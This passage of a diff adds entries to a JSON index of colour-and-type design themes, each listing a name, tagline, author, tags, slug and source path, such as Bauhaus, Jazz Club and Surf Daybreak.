"soft" + ], + "slug": "bakery-flour", + "source_path": "designs/bakery-flour.md", + "lines": 75 + }, + { + "name": "Barbershop Pole", + "tagline": "Classic barbershop: stripe red, ivory lather, nickel.", + "author": "Rofi", + "tags": [ + "lifestyle", + "bold", + "serif" + ], + "slug": "barbershop-pole", + "source_path": "designs/barbershop-pole.md", + "lines": 76 + }, + { + "name": "Battle Royale", + "tagline": "Drop-in HUD: blood-orange alerts, squad chevrons.", + "author": "Rofi", + "tags": [ + "gameplay", + "dark", + "bold" + ], + "slug": "battle-royale", + "source_path": "designs/battle-royale.md", + "lines": 75 + }, + { + "name": "Bauhaus", + "tagline": "Primary red, primary yellow, primary blue.", + "author": "Rofi", + "tags": [ + "bold", + "primary", + "geometric" + ], + "slug": "bauhaus", + "source_path": "designs/bauhaus.md", + "lines": 75 + }, + { + "name": "Tavern Tabletop", + "tagline": "Tabletop tavern: parchment map, wax-seal red, inked routes.", + "author": "Rofi", + "tags": [ + "gameplay", + "warm", + "serif" + ], + "slug": "board-game-tavern", + "source_path": "designs/board-game-tavern.md", + "lines": 75 + }, + { + "name": "Botanical", + "tagline": "Pressed leaves, tea-stained paper, a copper ink.", + "author": "Rofi", + "tags": [ + "organic", + "serif", + "warm" + ], + "slug": "botanical", + "source_path": "designs/botanical.md", + "lines": 75 + }, + { + "name": "Botanical Apothecary", + "tagline": "Herb apothecary: amber bottle, linen label, eucalyptus.", + "author": "Rofi", + "tags": [ + "beauty", + "organic", + "serif" + ], + "slug": "botanical-apothecary", + "source_path": "designs/botanical-apothecary.md", + "lines": 76 + }, + { + "name": "Broadsheet 01", + "tagline": "Newsprint ink, column rules, masthead gravitas.", + "author": "Rofi", + "tags": [ + "news", + "editorial", + "serif" + ], + "slug": "broadsheet-01", + "source_path": "designs/broadsheet-01.md", + "lines": 75 + }, + { + "name": "Brutalist Office", + "tagline": "Concrete, grids, and a single warning-yellow.", + "author": "Rofi", + "tags": [ + "brutalist", + "mono", + "high-contrast" + ], + "slug": "brutalist-office", + "source_path": "designs/brutalist-office.md", + "lines": 75 + }, + { + "name": "Cafe Racer", + "tagline": "Cafe-racer: engine black, tank stripe, chrome spoke.", + "author": "Rofi", + "tags": [ + "automotive", + "dark", + "mono" + ], + "slug": "cafe-racer", + "source_path": "designs/cafe-racer.md", + "lines": 75 + }, + { + "name": "Campaign Rally", + "tagline": "Campaign signage: stars blue, bunting red, placard white.", + "author": "Rofi", + "tags": [ + "government", + "bold", + "serif" + ], + "slug": "campaign-rally", + "source_path": "designs/campaign-rally.md", + "lines": 75 + }, + { + "name": "Campus Collegiate", + "tagline": "Ivy-league collegiate: maroon, oatmeal, crest gold.", + "author": "Rofi", + "tags": [ + "education", + "bold", + "serif" + ], + "slug": "campus-collegiate", + "source_path": "designs/campus-collegiate.md", + "lines": 76 + }, + { + "name": "Candy Shop", + "tagline": "Bubble gum, cherry red, sugar rush.", + "author": "Rofi", + "tags": [ + "playful", + "bold", + "warm" + ], + "slug": "candy-shop", + "source_path": "designs/candy-shop.md", + "lines": 75 + }, + { + "name": "Candy Tap", + "tagline": "Soft gradients, chewy taps, confetti everywhere.", + "author": "Rofi", + "tags": [ + "gameplay", + "playful", + "soft" + ], + "slug": "candy-tap", + "source_path": "designs/candy-tap.md", + "lines": 76 + }, + { + "name": "Ceramics Kiln", + "tagline": "Wood-fired ceramics: clay beige, ash grey, iron glaze.", + "author": "Rofi", + "tags": [ + "craft", + "warm", + "serif" + ], + "slug": "ceramics-kiln", + "source_path": "designs/ceramics-kiln.md", + "lines": 75 + }, + { + "name": "Chapel Stained", + "tagline": "Chapel hymnal: stained-glass blue, gilt, parchment.", + "author": "Rofi", + "tags": [ + "spiritual", + "dark", + "serif" + ], + "slug": "chapel-stained", + "source_path": "designs/chapel-stained.md", + "lines": 75 + }, + { + "name": "Chat App Plum", + "tagline": "Messaging: plum bubbles, chat-pop, read receipts.", + "author": "Rofi", + "tags": [ + "social", + "soft", + "playful" + ], + "slug": "chat-app-plum", + "source_path": "designs/chat-app-plum.md", + "lines": 76 + }, + { + "name": "Civic Register", + "tagline": "Civic site: gov navy, paper beige, official serif.", + "author": "Rofi", + "tags": [ + "government", + "minimal", + "serif" + ], + "slug": "civic-register", + "source_path": "designs/civic-register.md", + "lines": 76 + }, + { + "name": "Classroom Paper", + "tagline": "Composition notebook, red-line margin, graphite.", + "author": "Rofi", + "tags": [ + "education", + "warm", + "serif" + ], + "slug": "classroom-paper", + "source_path": "designs/classroom-paper.md", + "lines": 75 + }, + { + "name": "Climate Atlas", + "tagline": "Climate data: chart green, heatmap amber, atlas paper.", + "author": "Rofi", + "tags": [ + "climate", + "organic", + "sans" + ], + "slug": "climate-atlas", + "source_path": "designs/climate-atlas.md", + "lines": 75 + }, + { + "name": "Clinic Sage", + "tagline": "Clinical calm. Sage greens, paper white, zero alarm.", + "author": "Rofi", + "tags": [ + "healthcare", + "calm", + "minimal" + ], + "slug": "clinic-sage", + "source_path": "designs/clinic-sage.md", + "lines": 76 + }, + { + "name": "Clinical", + "tagline": "Hospital-grade legibility, but warm.", + "author": "Rofi", + "tags": [ + "minimal", + "sans", + "cool" + ], + "slug": "clinical", + "source_path": "designs/clinical.md", + "lines": 75 + }, + { + "name": "Cobalt Product", + "tagline": "A shippable SaaS palette with spine.", + "author": "Rofi", + "tags": [ + "sans", + "cool", + "corporate" + ], + "slug": "cobalt-product", + "source_path": "designs/cobalt-product.md", + "lines": 76 + }, + { + "name": "Coffee Roast", + "tagline": "Third-wave roaster: espresso brown, kraft paper, latte.", + "author": "Rofi", + "tags": [ + "food", + "warm", + "sans" + ], + "slug": "coffee-roast", + "source_path": "designs/coffee-roast.md", + "lines": 76 + }, + { + "name": "Comic Ink", + "tagline": "Comic panel: pulp yellow, hero red, ink-black panel rules.", + "author": "Rofi", + "tags": [ + "media", + "bold", + "playful" + ], + "slug": "comic-ink", + "source_path": "designs/comic-ink.md", + "lines": 75 + }, + { + "name": "Concrete Lemon", + "tagline": "Raw concrete, structural grid, lemon accent.", + "author": "Rofi", + "tags": [ + "brutalist", + "bold", + "sans" + ], + "slug": "concrete-lemon", + "source_path": "designs/concrete-lemon.md", + "lines": 75 + }, + { + "name": "Coworking Loft", + "tagline": "Loft coworking: warm concrete, mustard, exposed brick.", + "author": "Rofi", + "tags": [ + "architecture", + "warm", + "sans" + ], + "slug": "coworking-loft", + "source_path": "designs/coworking-loft.md", + "lines": 75 + }, + { + "name": "Criterion Letterbox", + "tagline": "Arthouse film label: cream sleeve, spine red, 4:3 crops.", + "author": "Rofi", + "tags": [ + "cinema", + "editorial", + "serif" + ], + "slug": "criterion-letterbox", + "source_path": "designs/criterion-letterbox.md", + "lines": 76 + }, + { + "name": "Crypto Violet", + "tagline": "Web3 violet: holo gradients, mono addresses.", + "author": "Rofi", + "tags": [ + "finance", + "dark", + "bold" + ], + "slug": "crypto-violet", + "source_path": "designs/crypto-violet.md", + "lines": 75 + }, + { + "name": "Cyber Matrix", + "tagline": "Cyberpunk neon grid meets operator terminal.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "bold" + ], + "slug": "cyber-matrix", + "source_path": "designs/cyber-matrix.md", + "lines": 75 + }, + { + "name": "Cyberpunk City", + "tagline": "Neon signage, acid yellow, deep violet.", + "author": "Rofi", + "tags": [ + "dark", + "playful", + "bold" + ], + "slug": "cyberpunk-city", + "source_path": "designs/cyberpunk-city.md", + "lines": 75 + }, + { + "name": "Dating Blush", + "tagline": "Dating app: blush cream, lipstick red, flirty serif.", + "author": "Rofi", + "tags": [ + "dating", + "warm", + "playful" + ], + "slug": "dating-blush", + "source_path": "designs/dating-blush.md", + "lines": 76 + }, + { + "name": "DAW Waveform", + "tagline": "Audio-production UI: waveform teal, signal red, rack black.", + "author": "Rofi", + "tags": [ + "audio", + "dark", + "technical" + ], + "slug": "daw-waveform", + "source_path": "designs/daw-waveform.md", + "lines": 75 + }, + { + "name": "DeFi Chrome", + "tagline": "Trading-floor neon: emerald gains, bloody losses.", + "author": "Rofi", + "tags": [ + "finance", + "dark", + "bold" + ], + "slug": "defi-chrome", + "source_path": "designs/defi-chrome.md", + "lines": 75 + }, + { + "name": "Denim Workwear", + "tagline": "Heritage workwear: selvedge indigo, rivet copper.", + "author": "Rofi", + "tags": [ + "fashion", + "warm", + "bold" + ], + "slug": "denim-workwear", + "source_path": "designs/denim-workwear.md", + "lines": 75 + }, + { + "name": "Desert Rose", + "tagline": "Sandstone, dusty rose, sunburnt ink.", + "author": "Rofi", + "tags": [ + "warm", + "serif", + "soft" + ], + "slug": "desert-rose", + "source_path": "designs/desert-rose.md", + "lines": 75 + }, + { + "name": "DevOps Graphite", + "tagline": "Prod-green, staging-amber, build-pipeline blue.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "sans" + ], + "slug": "devops-graphite", + "source_path": "designs/devops-graphite.md", + "lines": 75 + }, + { + "name": "Dispatch Mono", + "tagline": "Independent-press monospace. Bulletin-board energy.", + "author": "Rofi", + "tags": [ + "news", + "mono", + "technical" + ], + "slug": "dispatch-mono", + "source_path": "designs/dispatch-mono.md", + "lines": 75 + }, + { + "name": "Dungeon Crawl", + "tagline": "Torchlight, parchment, dice rolls in the dark.", + "author": "Rofi", + "tags": [ + "gameplay", + "dark", + "serif" + ], + "slug": "dungeon-crawl", + "source_path": "designs/dungeon-crawl.md", + "lines": 74 + }, + { + "name": "EV Silver", + "tagline": "Electric-vehicle showroom: liquid silver, voltage blue.", + "author": "Rofi", + "tags": [ + "automotive", + "minimal", + "cool" + ], + "slug": "ev-silver", + "source_path": "designs/ev-silver.md", + "lines": 77 + }, + { + "name": "Exchange Tick", + "tagline": "Order book green/red. Zero ornament. Every tick earns.", + "author": "Rofi", + "tags": [ + "finance", + "dark", + "mono" + ], + "slug": "exchange-tick", + "source_path": "designs/exchange-tick.md", + "lines": 74 + }, + { + "name": "Farmers Market", + "tagline": "Chalkboard signs, crate wood, tomato red.", + "author": "Rofi", + "tags": [ + "food", + "warm", + "serif" + ], + "slug": "farmers-market", + "source_path": "designs/farmers-market.md", + "lines": 75 + }, + { + "name": "Farmsim Harvest", + "tagline": "Cozy farm sim: golden wheat, rosy blush, soft sky.", + "author": "Rofi", + "tags": [ + "gameplay", + "warm", + "playful" + ], + "slug": "farmsim-harvest", + "source_path": "designs/farmsim-harvest.md", + "lines": 75 + }, + { + "name": "Festival Fluoro", + "tagline": "Open-air festival: sunset magenta, lime wash, neon type.", + "author": "Rofi", + "tags": [ + "music", + "playful", + "bold" + ], + "slug": "festival-fluoro", + "source_path": "designs/festival-fluoro.md", + "lines": 75 + }, + { + "name": "Field Notes", + "tagline": "Botanist's notebook: moss, bark, pressed leaves.", + "author": "Rofi", + "tags": [ + "nature", + "organic", + "serif" + ], + "slug": "field-notes", + "source_path": "designs/field-notes.md", + "lines": 74 + }, + { + "name": "Film Photography", + "tagline": "35mm grain: gelatin silver, kodak yellow, frame number.", + "author": "Rofi", + "tags": [ + "photography", + "warm", + "mono" + ], + "slug": "film-photography", + "source_path": "designs/film-photography.md", + "lines": 75 + }, + { + "name": "Florist Bouquet", + "tagline": "Boutique florist: petal blush, stem green, kraft paper.", + "author": "Rofi", + "tags": [ + "retail", + "warm", + "serif" + ], + "slug": "florist-bouquet", + "source_path": "designs/florist-bouquet.md", + "lines": 76 + }, + { + "name": "Forest Floor", + "tagline": "Moss, bark, and a ribbon of copper.", + "author": "Rofi", + "tags": [ + "organic", + "warm", + "serif" + ], + "slug": "forest-floor", + "source_path": "designs/forest-floor.md", + "lines": 75 + }, + { + "name": "Forest Trail", + "tagline": "Trail-map forest: moss green, bark brown, trail red.", + "author": "Rofi", + "tags": [ + "nature", + "organic", + "sans" + ], + "slug": "forest-trail", + "source_path": "designs/forest-trail.md", + "lines": 76 + }, + { + "name": "Forum Usenet", + "tagline": "BBS nostalgia: teletype ink, PhpBB gridlines.", + "author": "Rofi", + "tags": [ + "social", + "mono", + "technical" + ], + "slug": "forum-usenet", + "source_path": "designs/forum-usenet.md", + "lines": 74 + }, + { + "name": "Gallery Avant", + "tagline": "Contemporary-art gallery: white cube, tight caps.", + "author": "Rofi", + "tags": [ + "fashion", + "minimal", + "serif" + ], + "slug": "gallery-avant", + "source_path": "designs/gallery-avant.md", + "lines": 76 + }, + { + "name": "Gallery White", + "tagline": "Contemporary gallery: nothing on the walls but art.", + "author": "Rofi", + "tags": [ + "minimal", + "serif", + "warm" + ], + "slug": "gallery-white", + "source_path": "designs/gallery-white.md", + "lines": 75 + }, + { + "name": "Glassline", + "tagline": "Fog-grey neutrals with a cobalt pinprick.", + "author": "Rofi", + "tags": [ + "minimal", + "sans", + "cool" + ], + "slug": "glassline", + "source_path": "designs/glassline.md", + "lines": 76 + }, + { + "name": "Graphite", + "tagline": "Cool greys, one lime signal.", + "author": "Rofi", + "tags": [ + "dark", + "sans", + "technical" + ], + "slug": "graphite", + "source_path": "designs/graphite.md", + "lines": 75 + }, + { + "name": "Gym Kettlebell", + "tagline": "Barbell black: chalk white, rep red, rubber mat.", + "author": "Rofi", + "tags": [ + "fitness", + "bold", + "mono" + ], + "slug": "gym-kettlebell", + "source_path": "designs/gym-kettlebell.md", + "lines": 75 + }, + { + "name": "Hackerspace", + "tagline": "Solder room: PCB green, header amber, silkscreen white.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "mono" + ], + "slug": "hackerspace", + "source_path": "designs/hackerspace.md", + "lines": 74 + }, + { + "name": "Heritage", + "tagline": "Architectural minimalism meets journalistic gravitas.", + "author": "Rofi", + "tags": [ + "editorial", + "serif", + "warm" + ], + "slug": "heritage", + "source_path": "designs/heritage.md", + "lines": 75 + }, + { + "name": "Horology Chronograph", + "tagline": "Swiss watchmaking: dial black, subdial silver, second red.", + "author": "Rofi", + "tags": [ + "fashion", + "dark", + "serif" + ], + "slug": "horology-chronograph", + "source_path": "designs/horology-chronograph.md", + "lines": 76 + }, + { + "name": "Hotel Riviera", + "tagline": "C\u00f4te d'Azur: sea-wash blue, sun-bleached sand, soft gold.", + "author": "Rofi", + "tags": [ + "hospitality", + "warm", + "serif" + ], + "slug": "hotel-riviera", + "source_path": "designs/hotel-riviera.md", + "lines": 75 + }, + { + "name": "Indie Festival", + "tagline": "Film-festival grid: mono schedule, spotlight orange.", + "author": "Rofi", + "tags": [ + "cinema", + "bold", + "mono" + ], + "slug": "indie-festival", + "source_path": "designs/indie-festival.md", + "lines": 75 + }, + { + "name": "IoT Home", + "tagline": "Smart-home dashboard: warm dark, peach glow, cool teal.", + "author": "Rofi", + "tags": [ + "technical", + "soft", + "cool" + ], + "slug": "iot-home", + "source_path": "designs/iot-home.md", + "lines": 76 + }, + { + "name": "Jazz Club", + "tagline": "Blue Note vibe: ink blue, cream, trumpet gold.", + "author": "Rofi", + "tags": [ + "music", + "dark", + "serif" + ], + "slug": "jazz-club", + "source_path": "designs/jazz-club.md", + "lines": 75 + }, + { + "name": "Kids Crayon", + "tagline": "Crayon-bright: primary colors, chunky radii, silly big type.", + "author": "Rofi", + "tags": [ + "kids", + "playful", + "bold" + ], + "slug": "kids-crayon", + "source_path": "designs/kids-crayon.md", + "lines": 76 + }, + { + "name": "Kraft Paper", + "tagline": "Brown paper, stamp ink, handmade feel.", + "author": "Rofi", + "tags": [ + "warm", + "organic", + "sans" + ], + "slug": "kraft-paper", + "source_path": "designs/kraft-paper.md", + "lines": 75 + }, + { + "name": "Law Chambers", + "tagline": "Chambers: oxblood, foolscap cream, barrister grey.", + "author": "Rofi", + "tags": [ + "corporate", + "serif", + "minimal" + ], + "slug": "law-chambers", + "source_path": "designs/law-chambers.md", + "lines": 76 + }, + { + "name": "Linen", + "tagline": "Hand-woven textures, tea stains, slow.", + "author": "Rofi", + "tags": [ + "soft", + "serif", + "warm" + ], + "slug": "linen", + "source_path": "designs/linen.md", + "lines": 75 + }, + { + "name": "Luxe Commerce", + "tagline": "DTC luxury: porcelain, bone ink, brushed copper.", + "author": "Rofi", + "tags": [ + "retail", + "minimal", + "serif" + ], + "slug": "luxe-commerce", + "source_path": "designs/luxe-commerce.md", + "lines": 76 + }, + { + "name": "Magazine Rouge", + "tagline": "Fashion-magazine red, ivory spreads, giant display.", + "author": "Rofi", + "tags": [ + "news", + "bold", + "serif" + ], + "slug": "magazine-rouge", + "source_path": "designs/magazine-rouge.md", + "lines": 76 + }, + { + "name": "Matcha", + "tagline": "Soft green, bamboo, steam.", + "author": "Rofi", + "tags": [ + "organic", + "sans", + "calm" + ], + "slug": "matcha", + "source_path": "designs/matcha.md", + "lines": 75 + }, + { + "name": "Meditation Zen", + "tagline": "Sitting practice: bone paper, breath blue, ink brush.", + "author": "Rofi", + "tags": [ + "wellness", + "soft", + "serif" + ], + "slug": "meditation-zen", + "source_path": "designs/meditation-zen.md", + "lines": 76 + }, + { + "name": "Dream Engine", + "tagline": "Generative AI: obsidian surface, dream violet, seed amber.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "soft" + ], + "slug": "midjourney-dream", + "source_path": "designs/midjourney-dream.md", + "lines": 75 + }, + { + "name": "Mint Receipt", + "tagline": "Thermal paper, mint stripe, tidy numbers.", + "author": "Rofi", + "tags": [ + "mono", + "warm", + "minimal" + ], + "slug": "mint-receipt", + "source_path": "designs/mint-receipt.md", + "lines": 75 + }, + { + "name": "Motorsport Livery", + "tagline": "F1 livery: carbon black, racing red, pit-lane yellow.", + "author": "Rofi", + "tags": [ + "automotive", + "bold", + "technical" + ], + "slug": "motorsport-livery", + "source_path": "designs/motorsport-livery.md", + "lines": 75 + }, + { + "name": "Museum Plaque", + "tagline": "Museum-wall white: didone, hairline rules, placard caps.", + "author": "Rofi", + "tags": [ + "museum", + "minimal", + "serif" + ], + "slug": "museum-plaque", + "source_path": "designs/museum-plaque.md", + "lines": 76 + }, + { + "name": "Mutual Aid", + "tagline": "Mutual-aid zine: risograph orange, handbill mono, masking tape.", + "author": "Rofi", + "tags": [ + "nonprofit", + "warm", + "sans" + ], + "slug": "mutual-aid", + "source_path": "designs/mutual-aid.md", + "lines": 75 + }, + { + "name": "National Park", + "tagline": "Park signage: pine green, canyon rust, trail ochre.", + "author": "Rofi", + "tags": [ + "nature", + "warm", + "serif" + ], + "slug": "national-park", + "source_path": "designs/national-park.md", + "lines": 76 + }, + { + "name": "Natural Wine", + "tagline": "P\u00e9t-nat: fresh lees, paper labels, soft burgundy.", + "author": "Rofi", + "tags": [ + "food", + "warm", + "organic" + ], + "slug": "natural-wine", + "source_path": "designs/natural-wine.md", + "lines": 74 + }, + { + "name": "Neobank Mint", + "tagline": "Fresh mint, generous gutters, calm money.", + "author": "Rofi", + "tags": [ + "finance", + "minimal", + "cool" + ], + "slug": "neobank-mint", + "source_path": "designs/neobank-mint.md", + "lines": 76 + }, + { + "name": "Neon Arcade", + "tagline": "Synthwave violet and hot magenta.", + "author": "Rofi", + "tags": [ + "dark", + "playful", + "mono" + ], + "slug": "neon-arcade", + "source_path": "designs/neon-arcade.md", + "lines": 75 + }, + { + "name": "Newsletter Sunday", + "tagline": "Long-form Sunday edition: linen paper, reading serif.", + "author": "Rofi", + "tags": [ + "news", + "warm", + "serif" + ], + "slug": "newsletter-sunday", + "source_path": "designs/newsletter-sunday.md", + "lines": 76 + }, + { + "name": "Nightclub Strobe", + "tagline": "Berlin techno: stark black, strobe white, bass magenta.", + "author": "Rofi", + "tags": [ + "music", + "dark", + "bold" + ], + "slug": "nightclub-strobe", + "source_path": "designs/nightclub-strobe.md", + "lines": 76 + }, + { + "name": "Notion Beige", + "tagline": "Workspace-calm: warm beige, soft ink, lots of breathing.", + "author": "Rofi", + "tags": [ + "minimal", + "warm", + "sans" + ], + "slug": "notion-beige", + "source_path": "designs/notion-beige.md", + "lines": 76 + }, + { + "name": "Observatory", + "tagline": "Deep-sky catalog: nebula black, star cream, redshift.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "serif" + ], + "slug": "observatory", + "source_path": "designs/observatory.md", + "lines": 75 + }, + { + "name": "Obsidian", + "tagline": "Volcanic glass, phosphor purple, edge.", + "author": "Rofi", + "tags": [ + "dark", + "mono", + "technical" + ], + "slug": "obsidian", + "source_path": "designs/obsidian.md", + "lines": 76 + }, + { + "name": "Ocean Depth", + "tagline": "Midnight blue foundation with a teal pulse.", + "author": "Rofi", + "tags": [ + "cool", + "dark", + "sans" + ], + "slug": "ocean-depth", + "source_path": "designs/ocean-depth.md", + "lines": 75 + }, + { + "name": "Old Money", + "tagline": "Hunter green, gold leaf, embossed cream.", + "author": "Rofi", + "tags": [ + "serif", + "warm", + "editorial" + ], + "slug": "old-money", + "source_path": "designs/old-money.md", + "lines": 75 + }, + { + "name": "OSS Terminal", + "tagline": "README-first OSS: bone paper, diff green, PR purple.", + "author": "Rofi", + "tags": [ + "technical", + "mono", + "minimal" + ], + "slug": "oss-terminal", + "source_path": "designs/oss-terminal.md", + "lines": 75 + }, + { + "name": "Paper White", + "tagline": "The e-reader palette: ink, cream, nothing else.", + "author": "Rofi", + "tags": [ + "minimal", + "serif", + "reading" + ], + "slug": "paper-white", + "source_path": "designs/paper-white.md", + "lines": 75 + }, + { + "name": "Pastel Candy", + "tagline": "Marshmallow pink, mint, butter.", + "author": "Rofi", + "tags": [ + "playful", + "soft", + "sans" + ], + "slug": "pastel-candy", + "source_path": "designs/pastel-candy.md", + "lines": 75 + }, + { + "name": "Payday Punch", + "tagline": "Gen-Z wallet: lime, bubble, confetti payouts.", + "author": "Rofi", + "tags": [ + "finance", + "playful", + "bold" + ], + "slug": "payday-punch", + "source_path": "designs/payday-punch.md", + "lines": 75 + }, + { + "name": "Pet Pawprint", + "tagline": "Pet care: biscuit tan, wag blue, squeak yellow.", + "author": "Rofi", + "tags": [ + "pet", + "warm", + "playful" + ], + "slug": "pet-pawprint", + "source_path": "designs/pet-pawprint.md", + "lines": 76 + }, + { + "name": "Pharma Clean", + "tagline": "Hospital-white, FDA-blue, sterile hairlines.", + "author": "Rofi", + "tags": [ + "healthcare", + "minimal", + "cool" + ], + "slug": "pharma-clean", + "source_path": "designs/pharma-clean.md", + "lines": 76 + }, + { + "name": "Pixel Quest", + "tagline": "8-bit health bars and CRT ink.", + "author": "Rofi", + "tags": [ + "gameplay", + "retro", + "mono" + ], + "slug": "pixel-quest", + "source_path": "designs/pixel-quest.md", + "lines": 73 + }, + { + "name": "Podcast Studio", + "tagline": "Late-night show: mic amber, felt maroon, velvet curtain.", + "author": "Rofi", + "tags": [ + "audio", + "warm", + "serif" + ], + "slug": "podcast-studio", + "source_path": "designs/podcast-studio.md", + "lines": 75 + }, + { + "name": "Poker Felt", + "tagline": "Poker table: felt green, card ivory, chip red.", + "author": "Rofi", + "tags": [ + "gameplay", + "dark", + "serif" + ], + "slug": "poker-felt", + "source_path": "designs/poker-felt.md", + "lines": 76 + }, + { + "name": "Portfolio Studio", + "tagline": "Designer portfolio: off-white, ink, one deliberate accent.", + "author": "Rofi", + "tags": [ + "portfolio", + "minimal", + "serif" + ], + "slug": "portfolio-studio", + "source_path": "designs/portfolio-studio.md", + "lines": 75 + }, + { + "name": "Quantum Lab", + "tagline": "Physics-lab dark: cold plasma blue, superfluid teal.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "cool" + ], + "slug": "quantum-lab", + "source_path": "designs/quantum-lab.md", + "lines": 75 + }, + { + "name": "Rave Poster", + "tagline": "Warehouse flyer: acid yellow, smudge ink, 4am energy.", + "author": "Rofi", + "tags": [ + "music", + "bold", + "playful" + ], + "slug": "rave-poster", + "source_path": "designs/rave-poster.md", + "lines": 75 + }, + { + "name": "Realty Open House", + "tagline": "Open-house listing: linen warm, brass accents.", + "author": "Rofi", + "tags": [ + "architecture", + "warm", + "serif" + ], + "slug": "realty-open-house", + "source_path": "designs/realty-open-house.md", + "lines": 76 + }, + { + "name": "Record Sleeve", + "tagline": "1970s gatefold: ochre, umber, liner notes in serif.", + "author": "Rofi", + "tags": [ + "music", + "warm", + "serif" + ], + "slug": "record-sleeve", + "source_path": "designs/record-sleeve.md", + "lines": 74 + }, + { + "name": "Remote Hub", + "tagline": "Remote-team dashboard: horizon blue, timezone teal.", + "author": "Rofi", + "tags": [ + "social", + "cool", + "sans" + ], + "slug": "remote-hub", + "source_path": "designs/remote-hub.md", + "lines": 76 + }, + { + "name": "Risograph", + "tagline": "Misregistered, grainy, joyful.", + "author": "Rofi", + "tags": [ + "playful", + "print", + "bold" + ], + "slug": "risograph", + "source_path": "designs/risograph.md", + "lines": 75 + }, + { + "name": "Roblox Bubble", + "tagline": "Kid-MMO energy: chunky 3D buttons, primary bubbles.", + "author": "Rofi", + "tags": [ + "gameplay", + "playful", + "bold" + ], + "slug": "roblox-bubble", + "source_path": "designs/roblox-bubble.md", + "lines": 76 + }, + { + "name": "Robotics Lab", + "tagline": "Lab-bench white, safety-orange kill switch.", + "author": "Rofi", + "tags": [ + "technical", + "minimal", + "sans" + ], + "slug": "robotics-lab", + "source_path": "designs/robotics-lab.md", + "lines": 74 + }, + { + "name": "Running Kilometer", + "tagline": "Runner app: track orange, split white, PR green.", + "author": "Rofi", + "tags": [ + "fitness", + "playful", + "sans" + ], + "slug": "running-kilometer", + "source_path": "designs/running-kilometer.md", + "lines": 76 + }, + { + "name": "Scandi Pine", + "tagline": "Scandi interior: birch, oat, one forest pine.", + "author": "Rofi", + "tags": [ + "retail", + "soft", + "sans" + ], + "slug": "scandi-pine", + "source_path": "designs/scandi-pine.md", + "lines": 76 + }, + { + "name": "Science Journal", + "tagline": "Scientific-journal: paper-white column, abstract-blue plates.", + "author": "Rofi", + "tags": [ + "editorial", + "minimal", + "serif" + ], + "slug": "science-journal", + "source_path": "designs/science-journal.md", + "lines": 76 + }, + { + "name": "Skate Deck", + "tagline": "Skate-deck graphic: griptape black, neon green, spray pink.", + "author": "Rofi", + "tags": [ + "sports", + "bold", + "playful" + ], + "slug": "skate-deck", + "source_path": "designs/skate-deck.md", + "lines": 75 + }, + { + "name": "Ski Alpine", + "tagline": "Alpine signage: glacier blue, piste red, powder white.", + "author": "Rofi", + "tags": [ + "sports", + "cool", + "bold" + ], + "slug": "ski-alpine", + "source_path": "designs/ski-alpine.md", + "lines": 75 + }, + { + "name": "Skincare Matte", + "tagline": "Matte bottle minimal: oat, stone grey, graphite label.", + "author": "Rofi", + "tags": [ + "beauty", + "minimal", + "soft" + ], + "slug": "skincare-matte", + "source_path": "designs/skincare-matte.md", + "lines": 76 + }, + { + "name": "Social Dusk", + "tagline": "Late-night feed: indigo dusk, lilac strokes, amber taps.", + "author": "Rofi", + "tags": [ + "social", + "dark", + "soft" + ], + "slug": "social-dusk", + "source_path": "designs/social-dusk.md", + "lines": 76 + }, + { + "name": "Solarpunk", + "tagline": "Optimistic eco: plant green, sun yellow, soft terracotta.", + "author": "Rofi", + "tags": [ + "climate", + "playful", + "organic" + ], + "slug": "solarpunk", + "source_path": "designs/solarpunk.md", + "lines": 76 + }, + { + "name": "Spa Onsen", + "tagline": "Onsen: wet-stone grey, steam-rose, cedar accent.", + "author": "Rofi", + "tags": [ + "wellness", + "soft", + "serif" + ], + "slug": "spa-onsen", + "source_path": "designs/spa-onsen.md", + "lines": 76 + }, + { + "name": "Space Mission", + "tagline": "Mission-control amber on black. Telemetry forever.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "mono" + ], + "slug": "space-mission", + "source_path": "designs/space-mission.md", + "lines": 75 + }, + { + "name": "Spatial Glass", + "tagline": "AR OS: frosted lens, aurora gradient, depth hairline.", + "author": "Rofi", + "tags": [ + "technical", + "soft", + "cool" + ], + "slug": "spatial-glass", + "source_path": "designs/spatial-glass.md", + "lines": 75 + }, + { + "name": "Speakeasy", + "tagline": "Hidden bar: velvet black, candle amber, brass knob.", + "author": "Rofi", + "tags": [ + "hospitality", + "dark", + "serif" + ], + "slug": "speakeasy", + "source_path": "designs/speakeasy.md", + "lines": 76 + }, + { + "name": "Speedrun Clock", + "tagline": "Split timer aesthetic: green splits, red losses, mono forever.", + "author": "Rofi", + "tags": [ + "gameplay", + "mono", + "dark" + ], + "slug": "speedrun-clock", + "source_path": "designs/speedrun-clock.md", + "lines": 74 + }, + { + "name": "Sports HUD", + "tagline": "Stadium energy. Angled badges, neon scoreline.", + "author": "Rofi", + "tags": [ + "gameplay", + "bold", + "technical" + ], + "slug": "sports-hud", + "source_path": "designs/sports-hud.md", + "lines": 76 + }, + { + "name": "Storybook Paper", + "tagline": "Children's storybook: butter paper, crayon scribbles.", + "author": "Rofi", + "tags": [ + "kids", + "warm", + "serif" + ], + "slug": "storybook-paper", + "source_path": "designs/storybook-paper.md", + "lines": 76 + }, + { + "name": "Street Food", + "tagline": "Night-market neon on butcher paper.", + "author": "Rofi", + "tags": [ + "food", + "bold", + "playful" + ], + "slug": "street-food", + "source_path": "designs/street-food.md", + "lines": 76 + }, + { + "name": "Streetwear Block", + "tagline": "Supreme-energy: box logo, off-white, siren red.", + "author": "Rofi", + "tags": [ + "fashion", + "bold", + "sans" + ], + "slug": "streetwear-block", + "source_path": "designs/streetwear-block.md", + "lines": 75 + }, + { + "name": "Stripe Gradient", + "tagline": "Deep navy, sky, a whisper of violet.", + "author": "Rofi", + "tags": [ + "corporate", + "sans", + "cool" + ], + "slug": "stripe-gradient", + "source_path": "designs/stripe-gradient.md", + "lines": 76 + }, + { + "name": "Sunset Magazine", + "tagline": "Dusk over the pacific \u2014 peach, plum, bone.", + "author": "Rofi", + "tags": [ + "editorial", + "warm", + "gradient-free" + ], + "slug": "sunset-magazine", + "source_path": "designs/sunset-magazine.md", + "lines": 75 + }, + { + "name": "Surf Daybreak", + "tagline": "Surf forecast: ocean teal, dawn coral, seafoam.", + "author": "Rofi", + "tags": [ + "sports", + "warm", + "soft" + ], + 